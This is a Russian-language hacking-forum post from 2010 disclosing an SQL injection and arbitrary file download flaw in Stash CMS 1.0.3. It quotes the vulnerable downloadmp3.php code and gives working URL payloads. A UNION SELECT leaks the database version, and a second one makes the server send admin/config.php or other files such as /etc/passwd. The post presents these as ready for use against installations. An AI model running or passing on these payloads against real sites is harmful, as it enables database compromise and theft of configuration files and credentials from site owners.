Показать сообщение отдельно

  #294  
Старый 03.01.2010, 02:00
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Product: Stash CMS
Version: 1.0.3
Author: http://sourceforge.net/projects/nice-stash/

SQL-inj & Download any files.


File: downloadmp3.php
PHP код:
function force_download ($data$name) { 
    
header("Content-Length: " filesize($data));
    
header('Content-Type: audio/mp3');
    
header('Content-Disposition: attachment; filename='.$name);
    
readfile($data); 


if(isset(
$_GET['download'])) {
    
$mp3id $_GET['download'];
    
$query "SELECT * FROM ".TBPREFIX."_mp3 WHERE mp3_id = '$mp3id'";
    
$result $database->sqlQuery($query);
    if(
$result) {
        foreach(
$result as $result) {
            
$filename $result['mp3_filename'];
        }
        
$filepath UPLOADSPATH.'/mp3/'.$filename;
        
force_download($filepath$filename);
    }

$database->sqlQuery
PHP код:
function sqlQuery($query$return TRUE$complex TRUE){
        
        
$this->result_set mysql_query($query,$this->conn)or die("Query error: "mysql_error());

        if(
$return){
        
            
$query_results = array();
            
$i 0;
        
            while(
$row mysql_fetch_array($this->result_setMYSQL_ASSOC)){
            
                foreach(
$row as $key => $value){
            
                    
$query_results[$i][$key] = $value;
                    
                }
            
                
$i++;
            
            }

            if(
count($query_results) == && $complex == FALSE){
                
$tmp_result = array();
                
$tmp_result $query_results['0'];
                
$query_results = array();
                
$query_results $tmp_result;
            }
                
            
mysql_free_result($this->result_set);
            return 
$query_results;
        
        } elseif(!
$return && !$this->result_set){
        
            
mysql_free_result($this->result_set);
            return 
FALSE;
        
        } elseif(!
$return && $this->result_set){
        
            return 
TRUE;
            
        }
        
    } 
Target: 3'+union+select+1,2,3,4,5,version%28%29+--+
Вывод в ошибке filesize();

Если скулю крутить лень,можно все сделать проще.
Target: ?download=3'+union+select+1,2,3,4,5,'../../admin/config.php'+--+
Файл который вам предложит скачать браузер - конфиг сервера,качать можно произвольные файлы,хоть etc/passwd,главное подобрать пути.
 
Ответить с цитированием